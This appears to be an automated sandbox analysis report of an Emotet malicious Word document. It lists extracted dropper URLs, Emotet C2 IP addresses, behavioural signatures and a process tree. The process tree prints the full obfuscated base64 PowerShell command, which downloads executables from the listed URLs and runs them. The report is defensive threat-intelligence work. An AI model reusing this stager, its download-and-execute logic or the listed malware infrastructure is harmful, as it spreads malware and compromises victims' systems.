Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    29/08/2020, 00:03

General

  • Target
    emotet_e3_55e432b28c27aa0f65c75c46dda9a367a1d97420c5dad4b07cabbdced34058d5_2020-08-29__000207._doc.doc
  • Size 231KB
  • Sample200829-kyb4vw8cdx
  • SHA256 55e432b28c27aa0f65c75c46dda9a367a1d97420c5dad4b07cabbdced34058d5
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://itisfuture.com/wp-content/kPhVNbsq012228/

  • exe.dropper

    https://alameenmission.net/feesdues/mc/S73s9zr303/

  • exe.dropper

    http://f1.dodve.com/wp-admin/file/WEuiJhu/

  • exe.dropper

    http://studioworks.com.br/cdn/file/WCTwQUmZNkHul/

  • exe.dropper

    http://cooldoggraphics.com/wp-content/GniJ/

  • exe.dropper

    http://cofama.com.br/pedido/file/NLwd/

  • exe.dropper

    http://www.baxterco.com/home/Wb2j1ybk211/

Extracted

Family
  • emotet

C2
  • 190.136.179.102:80

  • 97.107.135.148:8080

  • 94.102.209.63:7080

  • 162.144.42.60:8080

  • 81.214.253.80:443

  • 87.106.231.60:8080

  • 107.161.30.122:8080

  • 66.61.94.36:80

  • 139.59.12.63:8080

  • 203.153.216.178:7080

  • 178.33.167.120:8080

  • 179.62.238.49:80

  • 50.116.78.109:8080

  • 74.208.173.91:8080

  • 113.161.148.81:80

  • 179.5.118.12:80

  • 202.5.47.71:80

  • 91.83.93.103:443

  • 181.113.229.139:443

  • 41.185.29.128:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_55e432b28c27aa0f65c75c46dda9a367a1d97420c5dad4b07cabbdced34058d5_2020-08-29__000207._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:788
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:3868
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABJAF8AaABsAHQAMwBkAD0AKAAoACcAVgAzACcAKwAnAGMAJwArACcAawBwADYAJwApACsAJwBtACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgB2ADoAVABFAE0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAGUAYwBUAG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AFIAYABJAGAAVABgAHkAcABgAFIATwBUAE8AYwBvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIAJwArACcALAAgACcAKQArACcAdAAnACsAKAAnAGwAcwAnACsAJwAxACcAKQArACgAJwAxACwAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQARQBkAHcAaQBlAF8AZQAgAD0AIAAoACgAJwBTAGIANgAnACsAJwBmAGMAJwApACsAJwA1ACcAKwAnAG4AJwApADsAJABFAHoANABqADUAegB0AD0AKAAnAFcAYgAnACsAJwAwADMAJwArACgAJwB0AHEAJwArACcANwAnACkAKQA7ACQASQB6AGkAYgB6ADYAcQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwA1AGIAcQB3AG8AcgAnACsAJwBkACcAKwAnADUAJwArACcAYgBxADIAMAAnACkAKwAoACcAMQA5ACcAKwAnADUAJwApACsAJwBiACcAKwAnAHEAJwApAC4AIgBSAGUAcABsAGAAQQBDAGUAIgAoACgAJwA1ACcAKwAnAGIAcQAnACkALAAnAFwAJwApACkAKwAkAEUAZAB3AGkAZQBfAGUAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABQAGwAaAA4ADMAZwBhAD0AKAAoACcAVAAnACsAJwBtAHMAJwApACsAJwBkACcAKwAoACcAZgAnACsAJwAwAHUAJwApACkAOwAkAFoAcwBxAGcANgBrADYAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAYwBsAEkAZQBuAFQAOwAkAFkAeABlAF8AbQBwADkAPQAoACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvACcAKwAnAGkAJwApACsAKAAnAHQAJwArACcAaQBzACcAKQArACgAJwBmACcAKwAnAHUAdAB1AHIAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAnACkAKwAnAC0AJwArACcAYwBvACcAKwAnAG4AJwArACcAdABlACcAKwAnAG4AdAAnACsAJwAvACcAKwAoACcAawAnACsAJwBQAGgAJwApACsAJwBWACcAKwAoACcATgBiAHMAJwArACcAcQAnACkAKwAoACcAMAAnACsAJwAxADIAJwApACsAJwAyADIAJwArACgAJwA4ACcAKwAnAC8AKgBoAHQAdABwAHMAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAGEAbABhACcAKQArACgAJwBtAGUAJwArACcAZQBuAG0AJwArACcAaQBzAHMAaQAnACkAKwAnAG8AbgAnACsAJwAuAG4AJwArACcAZQAnACsAJwB0AC8AJwArACgAJwBmAGUAJwArACcAZQBzACcAKQArACgAJwBkACcAKwAnAHUAZQBzAC8AbQAnACsAJwBjAC8AUwAnACkAKwAoACcANwAzACcAKwAnAHMAOQB6ACcAKwAnAHIAMwAnACkAKwAnADAAJwArACgAJwAzAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAZgAxAC4AJwApACsAKAAnAGQAbwAnACsAJwBkAHYAZQAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHcAJwArACcAcAAnACkAKwAnAC0AYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwBmAGkAbABlACcAKQArACcALwAnACsAKAAnAFcARQB1AGkAJwArACcASgAnACkAKwAoACcAaAB1ACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwBzACcAKQArACcAdAB1ACcAKwAnAGQAJwArACcAaQBvACcAKwAoACcAdwBvACcAKwAnAHIAJwApACsAJwBrACcAKwAnAHMALgAnACsAJwBjAG8AJwArACgAJwBtACcAKwAnAC4AYgByACcAKQArACgAJwAvAGMAJwArACcAZAAnACkAKwAoACcAbgAvACcAKwAnAGYAJwApACsAJwBpACcAKwAnAGwAZQAnACsAKAAnAC8AVwAnACsAJwBDAFQAJwApACsAKAAnAHcAUQBVACcAKwAnAG0AWgAnACkAKwAnAE4AawAnACsAJwBIACcAKwAnAHUAJwArACgAJwBsAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGMAJwArACcAbwBvACcAKwAoACcAbAAnACsAJwBkAG8AJwApACsAJwBnACcAKwAnAGcAcgAnACsAJwBhACcAKwAoACcAcAAnACsAJwBoAGkAYwAnACkAKwAnAHMAJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALwAnACsAJwB3ACcAKwAoACcAcAAtACcAKwAnAGMAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACcAdAAnACsAJwAvAEcAJwArACcAbgAnACsAKAAnAGkASgAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwAnACsAJwBjAG8AJwApACsAKAAnAGYAYQBtAGEALgBjAG8AJwArACcAbQAnACkAKwAnAC4AJwArACcAYgByACcAKwAoACcALwBwAGUAZAAnACsAJwBpAGQAJwApACsAJwBvAC8AJwArACgAJwBmAGkAJwArACcAbABlAC8AJwApACsAKAAnAE4AJwArACcATAB3AGQALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoAJwArACcALwAvAHcAdwB3ACcAKQArACcALgAnACsAJwBiACcAKwAnAGEAJwArACgAJwB4AHQAJwArACcAZQByAGMAJwArACcAbwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGgAJwArACcAbwAnACkAKwAoACcAbQAnACsAJwBlAC8AVwBiADIAagAxAHkAJwArACcAYgBrADIAJwApACsAKAAnADEAMQAnACsAJwAvACcAKQApAC4AIgBzAHAAbABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFEAZABlADYAMAA2AGQAPQAoACcARwAnACsAKAAnADgAJwArACcAcABvACcAKQArACgAJwA3AHYAJwArACcAMwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAXwB4AGsAMgAxADMAIABpAG4AIAAkAFkAeABlAF8AbQBwADkAKQB7AHQAcgB5AHsAJABaAHMAcQBnADYAawA2AC4AIgBkAGAAbwBXAG4ATABgAG8AYABBAGQAZgBJAGwAZQAiACgAJABEAF8AeABrADIAMQAzACwAIAAkAEkAegBpAGIAegA2AHEAKQA7ACQARQBqAHYAMgB4AHIAbQA9ACgAJwBSAHMAJwArACgAJwBzAHIAaAAnACsAJwBwAGEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASQB6AGkAYgB6ADYAcQApAC4AIgBMAGAAZQBuAEcAdABIACIAIAAtAGcAZQAgADMAOAAyADIAMQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABJAHoAaQBiAHoANgBxACkAOwAkAE0AZQBwAGwAYQB4ADEAPQAoACgAJwBCAHgAJwArACcANgAnACkAKwAoACcAMwB4ACcAKwAnAHEAJwApACsAJwBmACcAKQA7AGIAcgBlAGEAawA7ACQARgA5ADcAbgA1ADYAZgA9ACgAKAAnAEQAZwAnACsAJwByAG4AJwArACcAdwA5ACcAKQArACcANQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AOABvAHEAbQAwAGUAPQAoACgAJwBXACcAKwAnAHMAdgAnACkAKwAoACcANQByACcAKwAnAGoAJwApACsAJwBiACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3608
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Sb6fc5n.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Sb6fc5n.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\SysWOW64\netdiagfx\KBDPASH.exe
        "C:\Windows\SysWOW64\netdiagfx\KBDPASH.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3108

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/788-8-0x0000026EBBE5D000-0x0000026EBBE7E000-memory.dmp

        memory/788-3-0x0000026EBBD61000-0x0000026EBBD72000-memory.dmp

        memory/788-5-0x0000026EBBE5D000-0x0000026EBBE7E000-memory.dmp

        memory/788-6-0x0000026EBBE5D000-0x0000026EBBE7E000-memory.dmp

        memory/788-7-0x0000026EBBE5D000-0x0000026EBBE7E000-memory.dmp

        memory/788-0-0x00007FFE3EB80000-0x00007FFE3F246000-memory.dmp

        memory/788-1-0x0000026EBBD72000-0x0000026EBBD77000-memory.dmp

        memory/788-2-0x0000026EBBD72000-0x0000026EBBD77000-memory.dmp

        memory/788-4-0x0000026EBBE5D000-0x0000026EBBE7E000-memory.dmp

        memory/1240-15-0x0000000002270000-0x000000000227C000-memory.dmp

        memory/3108-18-0x00000000004F0000-0x00000000004FC000-memory.dmp

        memory/3608-11-0x0000016DEF2B0000-0x0000016DEF2B1000-memory.dmp

        memory/3608-10-0x0000016DEF100000-0x0000016DEF101000-memory.dmp

        memory/3608-9-0x00007FFE37CC0000-0x00007FFE386AC000-memory.dmp